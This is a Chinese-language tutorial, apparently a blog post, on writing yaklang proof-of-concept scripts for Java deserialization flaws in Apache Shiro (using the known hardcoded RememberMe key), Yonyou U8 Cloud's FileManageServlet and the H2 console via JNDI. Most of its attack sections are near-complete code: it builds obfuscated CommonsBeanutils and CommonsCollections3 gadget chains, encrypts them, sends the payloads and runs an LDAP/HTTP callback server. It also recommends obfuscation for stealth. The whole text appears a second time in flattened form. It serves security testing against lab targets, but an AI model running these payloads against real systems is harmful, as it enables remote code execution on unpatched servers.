高效开发:Java 反序列化漏洞 POC
字数 2092 2025-08-10 08:28:09

Java反序列化漏洞POC开发教学文档

1. 背景介绍

Java反序列化漏洞是Java应用程序中常见的安全漏洞类型,攻击者通过构造恶意的序列化对象,在目标系统上执行任意代码。本教学文档将详细介绍如何使用yaklang针对Java反序列化漏洞编写POC(Proof of Concept)。

2. 环境准备

2.1 工具要求

  • yaklang环境
  • Yakit工具
  • vulhub靶场环境(用于测试)

2.2 基础概念

  • 序列化:将Java对象转换为字节流的过程
  • 反序列化:将字节流恢复为Java对象的过程
  • Gadget链:一系列可利用的类和方法组合,用于构造恶意对象

3. Shiro反序列化漏洞POC开发

3.1 漏洞原理

Apache Shiro框架在RememberMe功能中使用Cookie传输序列化的Java对象。虽然使用了加密措施,但早期版本中加密密钥硬编码在源码中,攻击者可以使用正确的密钥构造恶意序列化对象实现RCE(远程代码执行)。

3.2 POC开发步骤

  1. 检测目标

    target = cli.String("u")
    log.info("检测目标: %s ", target)
    
  2. 生成DNSLog域名

    domain,token = risk.NewDNSLogDomain()
    className = randstr(4)
    
  3. 生成恶意对象

    gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(
        yso.useDNSLogEvilClass(domain),
        yso.obfuscationClassConstantPool(),
        yso.evilClassName(className)
    )
    
  4. 序列化对象

    gadgetBytes,err = yso.ToBytes(gadgetObj)
    
  5. 加密Payload

    base64Key = "kPH+bIxk5D2deZiIxcaaaA=="
    key,_ = codec.DecodeBase64(base64Key)
    payload = codec.PKCS5Padding(gadgetBytes, 16)
    encodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]
    finalPayload = codec.EncodeBase64(append(key, encodePayload...))
    
  6. 发送Payload

    rsp,err = http.Get(target, http.cookie("rememberMe=%s"%finalPayload))
    
  7. 验证漏洞

    res,err = risk.CheckDNSLogByToken(token)
    if len(res) > 0{
        log.info("目标 %s 存在Shiro RCE漏洞",target)
    }
    

4. 用友U8 Cloud反序列化漏洞POC开发

4.1 漏洞原理

用友U8 Cloud某些参数直接传递序列化对象,导致反序列化漏洞。

4.2 POC开发步骤

  1. 生成DNSLog域名

    domain,token = risk.NewDNSLogDomain()
    className = randstr(8)
    
  2. 生成CommonsCollections3恶意对象

    gadgetObj,err = yso.GetCommonsCollections3JavaObject(
        yso.useDNSLogEvilClass(domain),
        yso.obfuscationClassConstantPool(),
        yso.evilClassName(className)
    )
    
  3. 序列化对象

    gadgetBytes,err = yso.ToBytes(gadgetObj)
    
  4. 发送Payload

    rsp = http.Post(
        target+"/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet",
        http.body(gadgetBytes),
        http.proxy("http://127.0.0.1:8083")
    )
    
  5. 验证漏洞

    res,err = risk.CheckDNSLogByToken(token, 3)
    if len(res) != 0{
        log.info("目标 %s 存在反序列化漏洞",target)
    }
    

5. H2 Database JNDI注入漏洞POC开发

5.1 漏洞原理

H2 Database配置不当导致攻击者可以访问h2-console页面,通过指定JNDI URL发起连接。

5.2 POC开发步骤

  1. 启动反连服务器

    go fn{
        className = randstr(8)
        classObj,err = yso.GenerateDNSlogEvilClassObject(
            domain,
            yso.obfuscationClassConstantPool(),
            yso.evilClassName(className)
        )
        evalClassResource,err = yso.ToBytes(classObj)
    
        facades.Serve("0.0.0.0", 8089,
            facades.ldapResourceAddr(className, "127.0.0.1:8089"),
            facades.httpResource(className, evalClassResource)
        )
    }
    
  2. 构造并发送HTTP请求

    poc.HTTP(`POST /h2-console/test.do?jsessionid=ab50d353801ba9bf68a94edfd66413b4 HTTP/1.1
    Host: {{p(target)}}
    Content-Type: application/x-www-form-urlencoded
    
    language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url={{p(addr)}}&user=sa&password=`,
    poc.params({
        "target":target,
        "addr":"127.0.0.1:8089",
    }))
    
  3. 验证漏洞

    res,err = risk.CheckDNSLogByToken(token, 3)
    

6. 常用yaklang函数说明

6.1 Yso-Java Hack相关函数

  • yso.GetCommonsBeanutils192NOCCJavaObject(): 生成CommonsBeanutils1.9.2利用链对象
  • yso.GetCommonsCollections3JavaObject(): 生成CommonsCollections3利用链对象
  • yso.useDNSLogEvilClass(): 使用DNSLog恶意类
  • yso.obfuscationClassConstantPool(): 混淆类常量池
  • yso.evilClassName(): 生成随机恶意类名
  • yso.ToBytes(): 将Java对象序列化为字节数组

6.2 编码/加密函数

  • codec.DecodeBase64(): Base64解码
  • codec.EncodeBase64(): Base64编码
  • codec.PKCS5Padding(): PKCS5填充
  • codec.AESCBCEncrypt(): AES CBC模式加密

6.3 网络相关函数

  • http.Get(): 发送HTTP GET请求
  • http.Post(): 发送HTTP POST请求
  • http.cookie(): 设置Cookie
  • http.body(): 设置请求体
  • http.proxy(): 设置代理

6.4 反连服务相关

  • risk.NewDNSLogDomain(): 生成DNSLog域名
  • risk.CheckDNSLogByToken(): 检查DNSLog回显
  • facades.Serve(): 启动反连服务器
  • facades.ldapResourceAddr(): 配置LDAP资源
  • facades.httpResource(): 配置HTTP资源

7. 最佳实践建议

  1. 利用链选择:

    • 优先测试CommonsBeanutils1.9.2和CommonsCollections3等常见利用链
    • 使用Yso-Java Hack模块自动生成利用链代码
  2. 混淆技术:

    • 使用yso.obfuscationClassConstantPool()混淆类常量池
    • 使用随机类名randstr(8)增加隐蔽性
  3. 验证方式:

    • 优先使用DNSLog进行无交互验证
    • 对于复杂环境,可使用反连服务器进行深入验证
  4. 调试技巧:

    • 使用http.proxy()设置代理观察流量
    • 设置log.setLevel("info")获取详细日志
  5. 代码复用:

    • 将常用Payload生成代码封装为函数
    • 利用Yakit的"发送到Yak Runner"功能快速测试

8. 总结

yaklang提供了完善的Java反序列化漏洞POC开发基础设施,通过结合Yso-Java Hack模块和反连服务,可以高效地编写和测试POC。关键点包括:

  1. 正确选择利用链和恶意类
  2. 正确处理序列化和加密过程
  3. 使用DNSLog或反连服务进行可靠验证
  4. 利用yaklang的便捷函数简化开发流程

通过本教学文档的学习,开发者可以快速掌握使用yaklang开发Java反序列化漏洞POC的技能,提高安全测试效率。

Java反序列化漏洞POC开发教学文档 1. 背景介绍 Java反序列化漏洞是Java应用程序中常见的安全漏洞类型,攻击者通过构造恶意的序列化对象,在目标系统上执行任意代码。本教学文档将详细介绍如何使用yaklang针对Java反序列化漏洞编写POC(Proof of Concept)。 2. 环境准备 2.1 工具要求 yaklang环境 Yakit工具 vulhub靶场环境(用于测试) 2.2 基础概念 序列化 :将Java对象转换为字节流的过程 反序列化 :将字节流恢复为Java对象的过程 Gadget链 :一系列可利用的类和方法组合,用于构造恶意对象 3. Shiro反序列化漏洞POC开发 3.1 漏洞原理 Apache Shiro框架在RememberMe功能中使用Cookie传输序列化的Java对象。虽然使用了加密措施,但早期版本中加密密钥硬编码在源码中,攻击者可以使用正确的密钥构造恶意序列化对象实现RCE(远程代码执行)。 3.2 POC开发步骤 检测目标 生成DNSLog域名 生成恶意对象 序列化对象 加密Payload 发送Payload 验证漏洞 4. 用友U8 Cloud反序列化漏洞POC开发 4.1 漏洞原理 用友U8 Cloud某些参数直接传递序列化对象,导致反序列化漏洞。 4.2 POC开发步骤 生成DNSLog域名 生成CommonsCollections3恶意对象 序列化对象 发送Payload 验证漏洞 5. H2 Database JNDI注入漏洞POC开发 5.1 漏洞原理 H2 Database配置不当导致攻击者可以访问h2-console页面,通过指定JNDI URL发起连接。 5.2 POC开发步骤 启动反连服务器 构造并发送HTTP请求 验证漏洞 6. 常用yaklang函数说明 6.1 Yso-Java Hack相关函数 yso.GetCommonsBeanutils192NOCCJavaObject() : 生成CommonsBeanutils1.9.2利用链对象 yso.GetCommonsCollections3JavaObject() : 生成CommonsCollections3利用链对象 yso.useDNSLogEvilClass() : 使用DNSLog恶意类 yso.obfuscationClassConstantPool() : 混淆类常量池 yso.evilClassName() : 生成随机恶意类名 yso.ToBytes() : 将Java对象序列化为字节数组 6.2 编码/加密函数 codec.DecodeBase64() : Base64解码 codec.EncodeBase64() : Base64编码 codec.PKCS5Padding() : PKCS5填充 codec.AESCBCEncrypt() : AES CBC模式加密 6.3 网络相关函数 http.Get() : 发送HTTP GET请求 http.Post() : 发送HTTP POST请求 http.cookie() : 设置Cookie http.body() : 设置请求体 http.proxy() : 设置代理 6.4 反连服务相关 risk.NewDNSLogDomain() : 生成DNSLog域名 risk.CheckDNSLogByToken() : 检查DNSLog回显 facades.Serve() : 启动反连服务器 facades.ldapResourceAddr() : 配置LDAP资源 facades.httpResource() : 配置HTTP资源 7. 最佳实践建议 利用链选择 : 优先测试CommonsBeanutils1.9.2和CommonsCollections3等常见利用链 使用Yso-Java Hack模块自动生成利用链代码 混淆技术 : 使用 yso.obfuscationClassConstantPool() 混淆类常量池 使用随机类名 randstr(8) 增加隐蔽性 验证方式 : 优先使用DNSLog进行无交互验证 对于复杂环境,可使用反连服务器进行深入验证 调试技巧 : 使用 http.proxy() 设置代理观察流量 设置 log.setLevel("info") 获取详细日志 代码复用 : 将常用Payload生成代码封装为函数 利用Yakit的"发送到Yak Runner"功能快速测试 8. 总结 yaklang提供了完善的Java反序列化漏洞POC开发基础设施,通过结合Yso-Java Hack模块和反连服务,可以高效地编写和测试POC。关键点包括: 正确选择利用链和恶意类 正确处理序列化和加密过程 使用DNSLog或反连服务进行可靠验证 利用yaklang的便捷函数简化开发流程 通过本教学文档的学习,开发者可以快速掌握使用yaklang开发Java反序列化漏洞POC的技能,提高安全测试效率。